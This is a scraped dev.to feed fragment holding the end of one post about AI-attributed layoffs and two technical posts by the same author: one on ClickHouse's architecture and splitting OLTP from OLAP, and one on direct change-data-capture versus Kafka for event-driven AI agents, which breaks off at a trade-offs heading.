&lt;p&gt;I am not telling you to ignore the layoffs. They are real and they hurt real people. I am telling you the framing matters. If you internalize the "AI is eating my job" story without examining it, you're going to make worse decisions about where to invest your time. The honest version of the picture — &lt;em&gt;labor is compressing, the top tier is doing fine, the middle is squeezed&lt;/em&gt; — leads to better choices than the panic version does.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nbcnews.com/tech/innovation/ai-fuels-tech-job-cuts-efficiency-questions-workers-rcna219364" rel="noopener noreferrer"&gt;NBC — AI fuels tech job cuts as efficiency questions linger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theconversation.com/tech-companies-are-blaming-massive-layoffs-on-ai-whats-really-going-on-278314" rel="noopener noreferrer"&gt;The Conversation — what's really going on with AI-attributed layoffs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.anthropic.com/research/labor-market-impacts" rel="noopener noreferrer"&gt;Anthropic — labor market impacts research&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.crn.com/news/ai/2026/openai-launches-services-business-on-heels-of-similar-anthropic-announcement" rel="noopener noreferrer"&gt;CRN — OpenAI Deployment Company structural shift&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>career</category>
      <category>productivity</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Why We Didn't Converge: ClickHouse's VLDB Paper and the Architecture Agents Actually Need</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 08:28:56 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/why-we-didnt-converge-clickhouses-vldb-paper-and-the-architecture-agents-actually-need-5h13</link>
      <guid>https://dev.to/practiceoverflow/why-we-didnt-converge-clickhouses-vldb-paper-and-the-architecture-agents-actually-need-5h13</guid>
      <description>&lt;h2&gt;
  
  
  The moment ClickHouse writes CPU code for your query
&lt;/h2&gt;

&lt;p&gt;You run &lt;code&gt;SELECT category, COUNT(*) FROM events GROUP BY category&lt;/code&gt; against 100 million rows. On most databases, the engine walks a bytecode interpreter row by row, dispatching through a switch statement for every tuple. ClickHouse does something else. It takes your specific aggregation, hands it to LLVM, and generates native x86-64 instructions for this exact query. Then it runs them.&lt;/p&gt;

&lt;p&gt;The difference is 2 seconds versus 12 seconds. Same hardware, same data, same SQL. Six times faster, because the CPU is executing code written for this GROUP BY, not code written to handle any possible GROUP BY.&lt;/p&gt;

&lt;p&gt;The ClickHouse team published their first VLDB paper on April 14, 2026, titled "Lightning Fast Analytics for Everyone." Buried in section 4 is a detail that reframes a decade of analytical-database design: JIT compilation for aggregations was in the first commit in 2016. Not added later as an optimization. Not a recent flex. It was there on day one, because the founders believed interpreters were the bottleneck and compilers were the fix.&lt;/p&gt;

&lt;p&gt;This post is about what that paper reveals, why Snowflake and Databricks quietly walked away from true HTAP, why AI agents are spawning 500+ database branches in Lakebase, and how I'd actually design a data platform in 2026.&lt;/p&gt;




&lt;h2&gt;
  
  
  The 5-minute skim
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What the VLDB paper reveals:&lt;/strong&gt; ClickHouse is not just "fast Postgres." It is four decisions stacked: LSM-style MergeTree storage, vectorized execution on batches (not rows), LLVM JIT for GROUP BY and multi-key sort, and 90+ file format integrations. Remove any one and the performance story collapses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default recommendation:&lt;/strong&gt; If you are building analytics today and already have an OLTP system, do not converge. Split. Send CDC from Postgres into ClickHouse. This is what Snowflake + Databricks + CockroachDB have all effectively endorsed by abandoning HTAP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where this breaks:&lt;/strong&gt; Sub-second freshness with strict transactional consistency across OLTP and OLAP. If an AI agent needs to read an uncommitted order from the last 50 milliseconds and aggregate it against 3 years of history in the same query, composable struggles. That is where Oracle Unified Memory Core, TiDB HTAP+vector, and Databricks Lakebase are betting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key trade-off:&lt;/strong&gt; Composable wins on cost, flexibility, and scale. Converged wins on latency and developer experience for agent workloads. Pick based on whether your consumers are humans or agents.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why is this the week to talk about data architecture?
&lt;/h2&gt;

&lt;p&gt;Four things landed within seven days and they tell one story.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;April 14 — ClickHouse VLDB paper.&lt;/strong&gt; The first peer-reviewed publication of the internals. Not a blog post. A 12-page VLDB paper with benchmarks, design rationale, and the admission that most of what makes ClickHouse fast was decided in 2016.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;April 7 — ClickHouse 26.3 release.&lt;/strong&gt; 27 features, 40 performance optimizations. Async inserts are now the default. JOIN reordering extended to ANTI, SEMI, and FULL joins. Sharded Map Storage gives 2-49x lookup speedup. Materialized CTEs are real. And WebAssembly UDFs via Wasmtime, which means you can write user-defined functions in Rust or Go and ship them as Wasm.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;April 2026 — Databricks Lakebase GA follow-up.&lt;/strong&gt; Lakebase hit GA in February 2026. By April, the blog post that matters is the one about database branching. AI coding agents are creating 4x more databases than humans. Average production branch depth is 10. Some teams run 500+. Every pull request gets its own isolated Postgres instance with copy-on-write storage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;April 2026 — "Data Lakehouse Architecture 2026."&lt;/strong&gt; The Medium piece that crystallized the hot/warm/cold pattern. RisingWave materialized views for millisecond freshness, Iceberg for 30-60 second warm tier, Iceberg for cold historical. Kafka topics and Iceberg tables are converging into the same object via StreamNative's Lakestream.&lt;/p&gt;

&lt;p&gt;The through-line: the industry stopped pretending one database does everything, and started designing for the fact that agents, not humans, are now the dominant query generator.&lt;/p&gt;




&lt;h2&gt;
  
  
  What are the four pillars of ClickHouse?
&lt;/h2&gt;

&lt;p&gt;The VLDB paper is organized around four layers. I will keep each brief because the depth is in the paper itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. LSM-style MergeTree storage.&lt;/strong&gt; Data lands as immutable sorted parts. Background merges compact them. Primary keys are sparse (one entry per 8192 rows by default), which keeps the index in memory even for trillion-row tables. Compression runs column-by-column, so a timestamp column with low cardinality compresses to a few bits per value.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Vectorized execution.&lt;/strong&gt; ClickHouse does not process rows. It processes blocks of 65,536 values at a time. Every operator — filter, aggregate, join — is written to consume and emit these blocks. This means modern CPUs get to use SIMD instructions, branch predictors stay hot, and cache lines do not thrash. It is the difference between calling &lt;code&gt;std::vector::push_back&lt;/code&gt; 100 million times and calling &lt;code&gt;memcpy&lt;/code&gt; once.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. JIT compilation via LLVM.&lt;/strong&gt; This is the trick from the opening. For GROUP BY aggregations and multi-key sorts, ClickHouse emits LLVM IR, compiles it to native code, and caches the result. The payoff scales with aggregation complexity. Simple &lt;code&gt;COUNT(*)&lt;/code&gt; sees 2-3x. Multi-column &lt;code&gt;GROUP BY&lt;/code&gt; with expressions sees 6-10x. The 2s vs 12s number is from the paper's own benchmark on 100M rows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. The integration layer.&lt;/strong&gt; 90+ file formats. Parquet (with ALP encoding now landing in Arrow 58.2), ORC, Avro, JSON, CSV, native formats from half a dozen other systems. S3, GCS, Azure Blob, HDFS, Kafka, RabbitMQ, Postgres CDC, MySQL CDC. The thesis is that analytics does not live in one system, so the engine must read from everywhere. This is what lets you point ClickHouse at Iceberg tables today and Delta Lake tomorrow without migrating data.&lt;/p&gt;

&lt;p&gt;Pull one pillar out and the story breaks. LSM without vectorization gives you a slow log-structured store. Vectorization without JIT gives you Presto. JIT without the integration layer gives you a fast system nobody can feed. The VLDB paper's argument is that all four must coexist.&lt;/p&gt;

&lt;p&gt;The agent queries both sides. It hits Postgres for "what is the current state of order 1234" and ClickHouse for "how does this user's behavior compare to the last 90 days of cohort X." One reasoning loop, two stores. That is the composable pattern.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why did Snowflake and Databricks pivot away from HTAP?
&lt;/h2&gt;

&lt;p&gt;Five years ago the pitch was "one database for everything." Snowflake would handle analytics and operations. Databricks would be the lakehouse that also ran transactions. Both companies quietly walked back that claim.&lt;/p&gt;

&lt;p&gt;Snowflake launched Unistore in 2022 and has since de-emphasized it. The Snowflake 2026 narrative is openly about Iceberg interop and letting customers use external engines. They figured out that analytical workloads and transactional workloads want different physical layouts, different consistency models, and different resource profiles. Trying to serve both from one engine means serving both badly.&lt;/p&gt;

&lt;p&gt;Databricks shipped Lakebase — and Lakebase is Postgres. Not a columnar engine pretending to be transactional. A real Postgres fork with copy-on-write storage and branching. The Databricks message is now: use the lakehouse for analytics, use Lakebase for OLTP, and let Unity Catalog bridge them. That is composable, not converged.&lt;/p&gt;

&lt;p&gt;The pattern that won: &lt;strong&gt;Postgres → CDC or ClickPipes → ClickHouse&lt;/strong&gt;. CockroachDB made this official with their April 2026 ClickHouse webinar, where the recap explicitly endorses the split architecture for agentic AI workloads. The reason is physics. A row-store with MVCC and a column-store with LSM merges cannot share a storage engine without one of them being worse at its job.&lt;/p&gt;




&lt;h2&gt;
  
  
  What did the fintech learn the hard way?
&lt;/h2&gt;

&lt;p&gt;A fintech I worked with in 2024 tried to skip this lesson. They built what they called a "unified platform" on Postgres — transactions and analytics in the same database, because "we will deal with scale when we get there."&lt;/p&gt;

&lt;p&gt;They got there. By early 2024 they were processing billions of events per day. The analytics team wrote a dashboard query that did a seven-way join across orders, users, merchants, and three audit tables. It took 45 seconds. During those 45 seconds, the query held read locks on the orders table. Order processing — the actual revenue-generating path — slowed down. At peak hours, orders were queueing for 200ms, then 800ms, then timing out.&lt;/p&gt;

&lt;p&gt;They tried the usual escape hatches. Partitioning orders by date — still row locks. Materialized views — 30-minute refresh intervals, which meant the dashboard showed stale data. Read replicas — replication lag drifted to 2+ hours during heavy analytical queries because the replica was saturated applying WAL.&lt;/p&gt;

&lt;p&gt;They split. Postgres stayed the OLTP store. Debezium captured CDC into Kafka. ClickHouse consumed Kafka and materialized the analytical model. Three weeks of engineering.&lt;/p&gt;

&lt;p&gt;The numbers after the split:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Analytics query: 45s → 800ms (56x faster)&lt;/li&gt;
&lt;li&gt;Order processing P99: back to 40ms&lt;/li&gt;
&lt;li&gt;Storage cost: dropped, because ClickHouse compressed 6 months of analytical data into less disk than 2 weeks of raw Postgres tables took. Typical compression ratios were 8-12x for event data with repeated categorical columns.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The lesson: converging OLTP and OLAP in one engine is seductive because it looks simpler. The simplicity is a loan. You pay it back with interest the first time analytics and transactions fight for the same locks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Is database branching really Git for data?
&lt;/h2&gt;

&lt;p&gt;Databricks Lakebase shipped database branching in February 2026, and by April the usage data is striking. Their own post reports that AI coding agents are creating 4x more databases than human developers. Average team has 10 active branches. Some production setups run 500+ branches deep.&lt;/p&gt;

&lt;p&gt;Here is why this matters. When a human opens a PR, they usually test against a shared dev database or a seeded fixture. When an AI agent opens a PR — and agents now open dozens per day per engineer — it needs isolation. Two agents running migrations against the same database will step on each other. So every PR gets its own branch. Copy-on-write means the branch is cheap: it shares pages with the parent until you write, then only the diffs are stored.&lt;/p&gt;

&lt;p&gt;This changes the dev workflow in three ways:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CI becomes stateful.&lt;/strong&gt; Your test database is not reset between runs. It is forked from production (scrubbed), mutated during tests, and discarded. Bugs that only manifest against real data shapes surface earlier.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Migrations get tested for real.&lt;/strong&gt; You run the migration against a branch that looks like production. If it locks tables for 20 minutes, you see it in CI, not at 3am.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Rollback is instant.&lt;/strong&gt; A bad deploy? Fork the pre-deploy branch and point the app at it. You do not restore from backup. You switch a pointer.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The 500+ depth number is the one that stopped me. That is an agent spawning branches of branches of branches, each representing a hypothesis it is testing. It is a different shape of computation than humans do, and it is what infra has to support now.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is the Lakehouse 2026 pattern?
&lt;/h2&gt;

&lt;p&gt;Three tiers, each with a clear job.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hot tier: RisingWave materialized views.&lt;/strong&gt; Millisecond freshness. Streaming SQL against Kafka or Pulsar topics. You define a materialized view; it updates incrementally as events land. Query latency is sub-100ms. Use this for dashboards that must be live and for agent loops that react to events in real time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Warm tier: Iceberg with streaming writes.&lt;/strong&gt; 30-60 second freshness. This is where Kafka topics and Iceberg tables are merging. StreamNative's Lakestream treats them as one object — you produce to Kafka, you query Iceberg. Equinox, Flink, or RisingWave handle the conversion. This tier is for "recent but not real-time" — last hour of orders, last day of sessions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cold tier: Iceberg historical.&lt;/strong&gt; Partitioned, compacted, cheap. Years of history. Query engines (Trino, Spark, ClickHouse, DuckDB) all read the same Iceberg tables. Storage cost dominates and it is S3-cheap.&lt;/p&gt;

&lt;p&gt;The reason Iceberg is eating Delta Lake's lunch for streaming workloads comes down to partition evolution. In Delta, changing a partition scheme requires rewriting metadata. In Iceberg, partition evolution is first-class — you evolve the spec and old data keeps its old partitioning while new data uses the new. For streaming systems where you might shard by minute and then later shard by hour, this is the difference between "we migrate over a weekend" and "we do not migrate at all."&lt;/p&gt;

&lt;p&gt;The other Iceberg advantage is multi-engine. Delta is Spark-native — other engines support it, but Spark is the reference. Iceberg was vendor-neutral from day one: AWS, Google, Snowflake, Dremio, and ClickHouse all treat it as a first-class citizen.&lt;/p&gt;

&lt;p&gt;Delta still wins on one thing: change data feed. Delta CDF is mature; Iceberg's equivalent (incremental reads) is less battle-tested. If your use case is "give me exactly the changes since version N," Delta is still the safer choice.&lt;/p&gt;




&lt;h2&gt;
  
  
  How should I think about the trade-offs?
&lt;/h2&gt;

&lt;p&gt;Three live debates, in prose because tables lie about nuance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Composable versus converged.&lt;/strong&gt; Composable is Postgres plus ClickHouse plus CDC. Converged is Oracle Unified Memory Core, TiDB HTAP+vector, or Databricks Lakebase. Composable wins on cost (each engine does one job well), on scale (you can shard them independently), and on vendor choice. Converged wins on latency for agent workloads that need to correlate fresh OLTP state with historical OLAP in one query, and on operational simplicity (one system to run, not three). My rule: if your primary consumer is humans writing dashboards, go composable. If it is agents making decisions, evaluate converged — but benchmark first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ClickHouse versus Snowflake.&lt;/strong&gt; ClickHouse is open-source, self-hostable, and its cost at petabyte scale is an order of magnitude below Snowflake. Snowflake is managed, has better SLOs out of the box, has deeper integrations with BI tools, and does not require you to run compactions or worry about merge pressure. If you have a small data team and a lot of budget, Snowflake. If you have a strong infra team and a lot of data, ClickHouse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Iceberg versus Delta Lake.&lt;/strong&gt; Iceberg wins on partition evolution, multi-engine support, and vendor neutrality. Delta wins on change data feed and Spark-native optimizations. Both are converging — Delta is adding Iceberg compat, Iceberg is improving CDC. If you are starting today with streaming writes, pick Iceberg. If you are deep in the Databricks ecosystem, stay on Delta. Do not try to mix them in one table.&lt;/p&gt;




&lt;h2&gt;
  
  
  When should I split and when should I converge?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Split (composable) if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your analytical queries run longer than 5 seconds on your OLTP store.&lt;/li&gt;
&lt;li&gt;You are seeing lock contention between analytics and transactions.&lt;/li&gt;
&lt;li&gt;Your storage cost is dominated by analytical data retention.&lt;/li&gt;
&lt;li&gt;You have more than one analytical engine in the picture (BI tool + ML training + ad-hoc).&lt;/li&gt;
&lt;li&gt;Your dev team is comfortable running CDC and a second data store.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Converge (HTAP-ish) if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your agents need sub-100ms correlation between fresh writes and historical aggregates.&lt;/li&gt;
&lt;li&gt;Your data volume is low enough that one engine fits.&lt;/li&gt;
&lt;li&gt;Your ops team is small and cannot run two stores.&lt;/li&gt;
&lt;li&gt;You have strict transactional requirements across analytical reads (rare but real in finance and healthcare).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The honest answer for most teams in 2026 is split. The composable stack is mature. CDC tooling (Debezium, Fivetran, ClickPipes) is boring-reliable. ClickHouse is open-source and fast. Iceberg is vendor-neutral. The convergence story is real but it is still early — Lakebase is GA but young, Oracle Unified Memory Core is new, TiDB's vector integration is evolving.&lt;/p&gt;




&lt;h2&gt;
  
  
  Five things to take away
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ClickHouse is fast because of four decisions, not one.&lt;/strong&gt; LSM storage, vectorized execution, LLVM JIT, and 90+ integrations. Read the VLDB paper before you build your own.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Do not converge OLTP and OLAP in 2026.&lt;/strong&gt; Snowflake and Databricks walked away from HTAP for a reason. The fintech war story — 45s to 800ms after splitting — repeats in every company that tries.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Postgres → CDC → ClickHouse is the boring-reliable pattern.&lt;/strong&gt; Debezium, ClickPipes, or Fivetran for the pipe. ClickHouse for analytics. Postgres for transactions. This works at every scale I have seen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Database branching changes CI.&lt;/strong&gt; If your team uses AI coding agents, Lakebase or Neon-style branching is no longer optional. Budget for 10 branches per engineer and plan for depth.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pick Iceberg over Delta for new streaming workloads.&lt;/strong&gt; Partition evolution and vendor neutrality are the two features you will need in year three. Delta keeps its edge only if you are all-in on Databricks.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>architecture</category>
      <category>microservices</category>
    </item>
    <item>
      <title>Event-Driven Agents: Why Direct CDC Just Killed the Kafka-Debezium-Kafka Stack</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 08:28:07 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/event-driven-agents-why-direct-cdc-just-killed-the-kafka-debezium-kafka-stack-4kgo</link>
      <guid>https://dev.to/practiceoverflow/event-driven-agents-why-direct-cdc-just-killed-the-kafka-debezium-kafka-stack-4kgo</guid>
      <description>&lt;p&gt;It's 2:47 AM. A fraud detection agent wakes up, polls the transactions REST endpoint, sees nothing unusual, and goes back to sleep for 5 seconds. At 2:47:01, a card is swiped in Berlin. At 2:47:03, a contactless tap lands in London. At 2:47:05, a high-value online purchase clears from a residential proxy in Singapore. The agent's next poll fires at 2:47:06. By then the pattern is already three transactions deep, the money is gone, and the agent sees only the final state: "account balance lower than expected." The fraud chain happened &lt;em&gt;in the gaps between polls&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;This is the failure mode that made me stop defending request/response as the default integration style for AI agents this week. The same week Kai Waehner published three back-to-back pieces on agentic AI integration, Apache Flink CDC 3.6.0 shipped with sub-second binlog capture, and DBConvert Streams 2.0 removed Kafka from the CDC path entirely. The 2015-2025 assumption — that change data capture &lt;em&gt;requires&lt;/em&gt; a broker — is quietly dying. And when it dies, the architecture under AI agents inverts.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 5-Minute Skim
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What changed this week:&lt;/strong&gt; Direct CDC shipped in multiple products. Flink CDC 3.6.0 reads MySQL binlog and PostgreSQL WAL directly with sub-second latency and YAML-declarative pipelines. DBConvert Streams 2.0 ships PostgreSQL WAL CDC with zero Kafka in the path. Kai Waehner's trinity piece frames event-driven integration as the connective tissue between process intelligence and agentic AI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default recommendation:&lt;/strong&gt; If you're building an agent that makes more than 5 decisions per second against mutable data, default to a streaming substrate (materialized views + CDC), not REST polling. Use REST for drill-down enrichment, not for primary state.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where it breaks:&lt;/strong&gt; Multi-consumer federations with 10+ downstream systems, long-retention event archives, cross-org event sharing — Kafka still wins. Direct CDC is a single-pipeline optimization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key trade-off:&lt;/strong&gt; You're trading Kafka's pluggability and retention for one less hop and one less operational surface. For agent-centric, latency-critical, budget-constrained systems, that's the right trade. For enterprise event backbones, it isn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this week?
&lt;/h2&gt;

&lt;p&gt;Three signals collided. First, Kai Waehner's "Trinity of Modern Data Architecture" (April 1) argues that agentic AI without event-driven integration is just a chatbot with API access — it can't perceive the world continuously. Second, his "MCP vs REST vs Kafka" piece (April 10) reframes the integration debate: these aren't alternatives, they're layers. Third, his CEP piece (April 14) draws the line between pattern matching (Flink) and inference (agents) — and it turns out most people are using the wrong tool on both sides of that line.&lt;/p&gt;

&lt;p&gt;Underneath all three, the plumbing got better. Flink CDC 3.6.0 landed March 30. DBConvert 2.0 landed in April. The "Streaming SQL in 2026" Medium piece declared RisingWave and Materialize production-ready for the materialized-view-as-agent-context pattern. The week you could defend "Kafka in the middle of every pipeline" as the default architecture ended somewhere between these releases.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does request/response fail for agents?
&lt;/h2&gt;

&lt;p&gt;Three reasons, each with specifics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Staleness between polls.&lt;/strong&gt; A REST endpoint returns a snapshot. If your agent polls every 5 seconds, every decision is made against state that is, on average, 2.5 seconds old. For a chatbot recommending a restaurant, that's fine. For a fraud agent watching a card-present sequence, it's the difference between blocking a transaction and refunding one. The fraud chain above happens entirely inside a single poll interval.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Poll load scales with agents, not with events.&lt;/strong&gt; If 100 agents each poll every 5 seconds, you generate 20 requests per second against your transactions service — whether or not anything is happening. Most of those requests return "nothing new." This is the worst of both worlds: load when idle, and still latency when busy. Event-driven flips it: zero load when idle, immediate wake-up when an event arrives.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No event history, no pattern detection.&lt;/strong&gt; A poll gives you the current state. It does not give you the &lt;em&gt;sequence&lt;/em&gt; that led to the state. Agents that reason about behavior — fraud chains, user intent, supply chain disruption — need the ordered event stream, not the final snapshot. Request/response discards the sequence by construction.&lt;/p&gt;

&lt;p&gt;Kai Waehner's argument in the MCP piece is that these aren't opinions; they're structural properties of the integration style. You can work around them (longer-lived websockets, SSE, webhooks), but at that point you've built a worse Kafka.&lt;/p&gt;

&lt;h2&gt;
  
  
  Visual architecture: what does the new stack look like?
&lt;/h2&gt;

&lt;p&gt;The pre-2026 stack had three hops between the database and the agent. The 2026 stack has two.&lt;/p&gt;

&lt;p&gt;The database is the source of truth. A direct CDC reader tails the write-ahead log. The streaming layer either maintains a materialized view (for query-style access) or runs a CEP pattern (for sequence detection). The agent subscribes to view updates or pattern hits, then uses MCP-exposed tools for drill-down. Kafka is optional, not required.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kafka vs REST vs MCP: what's the hierarchy?
&lt;/h2&gt;

&lt;p&gt;Here's the frame that clicked for me this week. These three are not competitors. They're layers in a stack, each solving a different problem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MCP is the tool discovery layer.&lt;/strong&gt; It tells an agent &lt;em&gt;what&lt;/em&gt; it can do — what APIs exist, what schemas they take, what side effects they cause. MCP is static metadata plus an invocation protocol. It does not solve "when should I act."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kafka (or any event log) is the event sourcing layer.&lt;/strong&gt; It tells an agent &lt;em&gt;what happened&lt;/em&gt;, in order, with replay. This is where continuous perception lives. Without an event log — or a direct-CDC equivalent — an agent is blind between invocations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEP / Flink is the pattern match layer.&lt;/strong&gt; It tells an agent &lt;em&gt;when something interesting just happened&lt;/em&gt; — a known sequence, a windowed aggregation, a join across streams. CEP is declarative, deterministic, and fast. It's the scalpel between the firehose and the LLM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;REST is the drill-down layer.&lt;/strong&gt; It answers agent questions like "what are the last 30 days of charges for this specific account?" once the agent has decided it needs to look. REST is pull-based and stateless, which is exactly what drill-down needs.&lt;/p&gt;

&lt;p&gt;The mistake is treating them as alternatives. REST-only agents are blind. Kafka-only agents have no pattern detection. CEP-only pipelines can't reason about ambiguous cases. MCP-only stacks have no perception loop. The production pattern is all four, layered: MCP exposes tools, Kafka (or direct CDC) delivers events, CEP filters for known patterns, the agent handles the ambiguous cases, and REST handles drill-down.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is the CDC simplification revolution?
&lt;/h2&gt;

&lt;p&gt;Here are the numbers that moved this week.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Traditional Debezium path:&lt;/strong&gt; database → Debezium connector → Kafka topic → Kafka Connect → downstream processor. Three network hops, three operational surfaces, typical end-to-end latency 100-500ms under load, with tail latencies into seconds during rebalances.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Direct CDC path:&lt;/strong&gt; database → WAL/binlog reader → processor. One network hop, one operational surface, sub-second end-to-end (often under 200ms), no rebalance tail.&lt;/p&gt;

&lt;p&gt;The vendors shipping this pattern now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RisingWave&lt;/strong&gt; — PostgreSQL-wire-compatible streaming database. Connects directly to Postgres logical replication or MySQL binlog, maintains materialized views, serves SQL queries. No Kafka required for single-pipeline workloads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DBConvert Streams 2.0&lt;/strong&gt; (April 2026) — PostgreSQL WAL CDC with direct sinks. Explicit positioning as "Kafka-free CDC."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flink CDC 3.6.0&lt;/strong&gt; (March 30, 2026) — sub-second binlog capture, YAML pipeline definitions, direct sinks to Paimon, Iceberg, Doris, StarRocks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Materialize&lt;/strong&gt; — incremental view maintenance over Postgres CDC.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The architecture changed from three-hop (DB → Debezium → Kafka → processor) to two-hop (DB → CDC reader → processor). You lose Kafka's multi-consumer fan-out. You gain a simpler operational story and a latency budget that fits agent decision loops.&lt;/p&gt;

&lt;p&gt;When does this matter? When the agent's decision latency is dominated by the integration path, not the inference. If your LLM call takes 800ms, shaving 300ms off CDC doesn't help. If your agent uses a small local model and the bottleneck is "how fresh is the state," cutting 300ms of broker hop is a 50% latency reduction.&lt;/p&gt;

&lt;h2&gt;
  
  
  When does CEP win and when does it fail?
&lt;/h2&gt;

&lt;p&gt;Complex Event Processing is the layer most teams skip and then regret. Kai's CEP piece this week draws clean lines.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEP wins for known sequences.&lt;/strong&gt; Fraud chains like the Berlin-London-Singapore one above are textbook CEP: three events, temporal ordering, geographic constraint, cardinality threshold. Flink's MATCH_RECOGNIZE clause expresses this in ten lines of SQL and executes in milliseconds. Asking an LLM to watch a stream for this pattern is a waste of tokens and a latency disaster.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEP wins for predictive maintenance.&lt;/strong&gt; "Temperature over 80°C for 3 consecutive readings, followed by vibration spike within 60 seconds" — a Flink pattern, not a prompt. Deterministic, auditable, and cheap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEP wins for supply chain and e-commerce behavior.&lt;/strong&gt; "Cart abandonment after coupon view without checkout within 10 minutes" — pattern match territory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEP fails for undefined patterns.&lt;/strong&gt; If you can't write the pattern in SQL, CEP can't match it. Novel fraud modes, emergent user behaviors, anything that requires "this feels off" judgment — that's agent territory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEP fails for simple windowed aggregations.&lt;/strong&gt; If all you need is "count per minute per user," use a streaming SQL TUMBLE window. CEP is overkill.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEP fails for multi-day, high-cardinality lookback.&lt;/strong&gt; CEP holds state per pattern match attempt. Trying to match "any anomaly across 100M users over 30 days" blows up memory. Use a feature store and batch scoring instead.&lt;/p&gt;

&lt;p&gt;The pattern that works in production: CEP for known patterns at millisecond latency, agent inference for the ambiguous residual. The CEP layer handles 95% of cases cheaply; the agent handles the 5% that needs reasoning.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trade-offs: Kafka vs direct CDC, streaming vs polling, CEP vs agent
&lt;/h2&gt;

&lt;p&gt;This is the debate, not a table.&lt;/p&gt;

